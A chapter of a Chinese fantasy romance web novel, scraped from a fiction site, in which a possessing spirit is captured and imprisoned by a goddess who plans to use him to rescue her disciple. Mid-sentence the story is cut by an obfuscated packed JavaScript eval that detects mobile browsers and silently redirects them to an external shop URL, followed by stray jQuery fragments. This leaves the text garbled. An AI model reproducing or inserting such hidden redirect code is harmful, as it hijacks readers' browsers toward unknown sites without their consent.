文趣网 > 其他小说 > 祸世凶神饲养守则 > 12. 第 12 章
    片刻的冷静之后,盏并没有出声,他解嘲一笑,面上混杂着疑惑和失落。

    “怎么了?你既如此信誓旦旦,怎么真让你拆穿的时候却说不出话来了?”长黎声音懒懒散散带着揶揄。

    盏仍旧没有说话。

    昨日他曾提醒过扶丘也承诺过三缄其口,既然扶丘现在敢大胆站在长黎身边同他对峙,说明他对于长黎会坚定相信他已经有了把握。

    妄然揭发并不一定能改变现在的局势。

    他不能完全断定长黎会站在自己这一方,即便他也并不完全确信长黎会如此快翻脸,但......如果是关乎颉蘅的事,他不敢保证她会不会因为太过在意而乱了方寸。

    他不甘地沉下眼。

    “那不如这样,”长黎给了他一个台阶,“你先告诉我,你是谁?”

    盏反而笑了起来。

    果然,她还是没有放弃想知道他的真实身份。

    这并不是什么难回答的问题。

    只不过,在扶丘面前,他还是当个来路不明的邪物比较好。

    他没有直接回答,反问道:“这个问题似乎不用我亲自回答,你虽神目有亏,辨不得幻术,但身边的颉蘅帝君贵为众神之首,应该早已看穿了我的把戏,辨出我的真身了吧?”

    黑云那端面面相觑,许久,扶丘终于开口。

    他语气透着威严和一丝惋惜:“你这邪物冥顽不灵,还在挑拨我们的关系。本来念着你并未作恶,尚且饶你这一回,现在看来,没这个必要了。”

    涌动的云团中忽然闪出几道银色的闪电,闪电化作一条条银龙咆哮着向盏冲来。

    巨大的风啸将盏的发髻吹得四散,身上的素衫抵挡不住这强烈的冲击几近被撕裂,他瞬即将藏在胸口的黑羽捂紧,心中默念起符咒来。

    他似乎低估了这位神君的狠绝,他在逼他做选择:要么被逼得现形,要么,从他的躯壳里退出来。

    鸣金收兵。

    但仅仅这样一点手段就想看穿他的身份,未免也太过儿戏,他还不至于分不清这点轻重缓急。

    况且,这具肉身他早就用腻了。

    附着在扶丘肉身里的强大念力,随着符咒的运转,化作一张同扶丘形状相同的剪影,一点一点从他的身体里退了出来。

    失去了掌控的躯体逐渐没了生气,在漫卷的狂风中摇摇欲坠。

    见目的即将达成,几条银龙狰狞的面目渐渐变得缓和,但冲向盏的势头却并未减弱,势要彻底将他从扶丘的身体中铲除。

    盏回望一眼,想确认下扶丘肉身的状态。

    直驱的银龙已近在咫尺,愈发猛烈的气劲几乎就要将那具已无法站稳的肉身冲击在地,眼看着银龙就要撞上,眼前却被一道刺眼的赤光遮蔽了视线。

    那赤光同汹涌而来的银光撞在一起,迸裂的火光遮天蔽日,瞬间将面前的身影吞没。

    一声巨响划破长天。

    透过那争锋相对的火光,原是一柄由强大气劲而化的长刀在那具躯体快要倒下之际,挡在了他的面前,截断了俯冲而下的银龙的去路。

    长刀氤氲着通体的红光,和俯冲而来的银龙撞击到一起,一瞬间火光四溢,巨大的冲击逐渐将咆哮的巨浪一点点吞没。

    银龙不堪其力,退了回去。

    还未完全脱体的灵识敏锐地感知到局面的变化,趁势重新钻回了肉身里面。

    “兄长且慢,我突然想到了一个救岐桑的绝好法子,这邪物刚好能派上用场。”

    长黎的声音悠悠响起,一点不像刚使出过蓄力一击的样子。

    扶丘静默了片刻,计划即将达成却被拦截让他有一丝隐隐的怒气,可听闻此言他似乎想到了什么,一下子变成的惊异:“莫非你想......”

    "知我莫如兄,"长黎点了点头,“百骨窟本就是九重天用来对罪仙妖邪施以极刑之地,他既不知悔改,我不如给他个死得其所。”

    盏也意识到长黎所说的是什么意思,原以为刚才那一挡是长黎想给他一次机会,想在看来,没那么简单。

    可再想脱身却难了。

    只见原本挡在他身前的长刀化作了一条燃着火光的藤鞭,面向一转,瞬间将他死死缠住。

    他挣了挣,使不出任何灵力。

    藤鞭的另一头一直延伸到天边的乌云之中,似被人握住往前拽了拽,不及盏发声就将他提溜进了云团。

    紧接着长黎的声音再次响起:“好了,我们时间不多了,你老实点,我会让你痛快了结。”

    ——

    “滴答,滴答,滴答...”

    规律的水滴声带着幽微的海潮湿寒灌入鼻尖。

    四下伸手不见五指。

    盏不光小瞧了长黎的心思,还小瞧了她的行事手段。

    被捆绑着带出落霞池的同时,还被罩上了一个来路不明的麻袋......

    也不知被她带到了何地,落地时只给他略微松了松绑,那劈头盖脸的麻袋却依旧罩在他身上。

    “主上,你说这是不是叫恶人自有恶人,哦不,一报还一报,这种捆人送走的方式我好像在哪里见过。”

    一片的漆黑中,只有耳边乌夜啼鬼鬼祟祟的碎嘴像蚊子一样在嗡嗡作响。

    盏一下拍在黑羽上,把那“蚊子”掐灭。

    乌夜啼挣扎着爬起,补救一句:“不过还是主上的品味精致典雅得多,这破麻袋一点不如那日送走长黎神尊时做的铃铛结界有心。”

    “我看你倒是悠哉得很,还有心情在这里胡言乱语。不如......”

    盏的声音比水滴的敲击还要疏冷。

    领会到盏又要给自己安排什么不可能完成的任务,乌夜啼赶紧求饶:“主上误会了,我只是觉得这地方古怪莫测,想调节一下气氛,你看我现在就是一根杂毛,也做不了什么别的事。”

    “嗯。”

    乌夜啼松了一口气。

    “那我派给你一个稍微轻松一点的差事,”说完不及乌夜啼反应,盏轻轻一吹,将黑羽从麻袋的缝隙中送了出去。

    “趁你还没有被她们察觉,出去打探些消息回来。”

    “是。”

    知道已无商量的余地,黑羽垂丧着头从地上腾起,轻柔而迅速地消失在了盏的身边。

    盏盘坐在长黎赋予的锁妖袋中,并没有急着去解开束缚或是遮挡,他只坐着,听着耳边水击石台的声音。

    似乎对于身处这样的环境他并不意外,甚至还有一种久违的熟悉。

    连这一幕之隔的界外情景也是一样,她依旧和他不在同一路,也依旧选择站在另一个人的那一边。

    但今时不同往日,他已不再是当时任人宰割的鱼肉。

    他轻轻闭上眼,脑海中的画面不断轮转,却发现同她度过的那些日日夜夜,除了一片黑暗还是一片黑暗。

    他无奈地笑起来。

    是了,在为他画地为牢的一寸小小天地里,他什么也看不见,唯有无尽的煎熬和她在禁锢之外喋喋不休的陪伴,那时,他从未见过她的样子。

    于是,那一段的陪伴完全没有画面,也没有色彩。

    可当他真正见到她时,已形容陌路。

    或者她遗失了那段记忆,又或者她从未记挂过他,也就无从记起。

    她怎会记挂一个随意就可弃之不顾,冷眼旁观,任其在淬灵之海中苦命挣扎之人呢。

    是他生了太多贪念,还妄想她会相信他。

    是他没有骨气,对算计过自己之人还抱有幻念。

    是他自己,私念太重。

    可一旦陷入了回忆,即便没有色彩,也依然让人深陷沉溺。

    耳边滴答的水声似乎逐渐消逝,他只觉耳边是那声熟悉而又令人留恋的呼唤:

    “镇陵,镇陵,你看,我还没有走,是不是很信守承诺。”

    “镇陵,镇陵,你不要睡,我和你说说话,你不要睡!”

    ......

    呵呵,明明都是虚伪的表演。

    ——

    “主上,主上,快醒醒,主上!”

    那呼唤却变成了另一种声线,连带着脖子上也突然传来一阵挠瘙。

    盏从沉迷的忆梦中清醒过来。

    是乌夜啼。

    “你怎么这么快就复返了。”他抚了抚额头。

    黑羽欣慰地笑了笑:“您醒来就好。我也不想,可他们决断得太快,那长黎神尊此刻正要往这头赶来!”

    “来不及解释了,你一看便知。”

    说完黑羽上落下一丝绒羽,飘进了盏的神识之中。

    盏目光一闪,乌夜啼的所见所闻,瞬间浮现在了他的脑海之中。

    囚室藏于地下,上潜数百米才得见天光,黑羽轻轻一跃便探了出去。

    它

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17824777|211221||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    随意地掸了掸,回头一看,通往囚室的外沿有一个涌动着流光的结界。

    它本就来自下界,只不过承载着乌夜啼和盏的沟通之用,并没有本体和灵识,因而这样的结界并不能困住它。

    没成想刚探出来,便听到了长黎的声音。

    声音的源头从正上传来,仰头一看,长黎正倚在一枝结实的树干上悠闲自得。

    这棵树,很眼熟。

    银提树。

    原来囚室的上方并不在别处,就在扶丘所化的“郁苍宫”中。

    而这座神宫的主人,此时正坐在树下的青玉台上,微沉着眼,倾听着长黎的谋划。

    黑羽急中生智,化作了一片银提叶,落在了树下。

    商议之事并不让盏意外,无外乎怎么处决他。

    而她的徒弟被关押在百骨窟的事情,他在下界便已经知晓,当时他便在思量待她醒来之时,会怎样去救自己的徒弟。

    没想到自己误打误撞成了她救人的筹码。

    不过,她或许并不知道,她这一番谋划在此境中都是虚妄。

    而知晓一切的扶丘并没有打断她,脸上神色十分平和还带着些许欢欣。

    似乎长黎的所思所想正中他下怀,他只需沉默不语便能不动声色推波助澜。

    “至于怎么向九重天交待,兄长不用担心,在外人眼里,岐桑已然受了天极之刑、灰飞烟灭,我不会再让她出现在这里的任何地方。”

    长黎说出这句话的时候稀松平常,一点不像是在解决一个十分棘手的难题。

    反倒是扶丘拧了拧眉,似乎被震吓到。

    长黎的手段让他有了新的认识,但是同时也让他多了一分安心,因为她在他面前表现得越真,就证明她对他的信任越深。

    盏嘲弄地笑了笑,阖上眼,没有再看下去。

    他一时有些分不清,自己是在嘲弄方才眼前那一番琴瑟合鸣兄妹默契,还是在嘲弄扶丘的自作多情。

    “怎么办主上,虽然你送上来的只是一脉灵识,但也不至于变成这对恶毒兄妹刀上的鱼肉吧,现在坐以待毙会不会太窝囊了?”

    黑羽在盏胸口跳了跳。

    盏耳朵动了动,将它隐于体内,一言不发。

    熟悉的气息出现在了身前。

    长黎抱着臂膀站在玄木槛栏之外,脸上挂着笑意:“真没想到,你我才做了一日的夫妻,就闹得这番模样。”

    盏冷笑一声:“我倒是不介意多做几日,只是没想到神尊这么没有耐心,也低估了那兄长在你心中的地位。他呢,怎么没同你一起来?”

    “我和兄长向来一体同心,一人出面就够了。”

    长黎的话语轻飘随意,却像滚沸的油,一点一点浇在盏心中烧起的火上。

    “你确实在颉蘅的身边久了,沾染了和他同样弑杀冷酷的习性。”

    长黎闻言抬了抬手,捆在盏身上的藤鞭骤然变紧,箍得他闷哼一声。

    随后她冷着脸:“这只是小小惩戒,你若再言语不敬,我可就不能保证让你死得痛快些了。”

    说完这话她灵敏地瞥了眼后方,感受到一丝微不可察的动静逐渐退了出去,她满意地勾了勾嘴角。

    藤鞭的力道却没有丝毫放松的意思,而是愈收愈紧。

    “你如果现在向我求饶,告诉我你的目的,我还是可以网开一面。”

    长黎穿过槛栏,脚步一点一点向他靠近。

    盏的灵识锁在扶丘的肉身里,感受着摧骨揪心的压制,死死咬着牙关。

    幽暗死寂的囚室只有他微重急促的喘息。

    “还不就范吗?”

    长黎慢慢蹲下来,明艳恣意的双唇凑到盏的耳边。

    仅仅一布之隔,突然逼近的气息和浓重的鼻息混合在一起。

    那气息熟悉、温热,近在咫尺却隔着无法挣脱的屏障,难以触及。

    这番情景恍若往昔,盏的神情有些涣散。

    “你可能不知道,我这种嗜血之人,最爱听你这样隐而不发的喘息。”

    盏的喘息愈发沉重。

    见他不为所动,长黎目光闪了闪。

    “但是,我突然改变了主意,”长黎声音变得轻柔低吟,“现在我只需要你做一件事,”

    压低的气声轻轻挠过他的耳尖,紧箍的藤鞭就在此时突然松开,他的眼神陡然变亮,身体跟着不自觉微颤起来。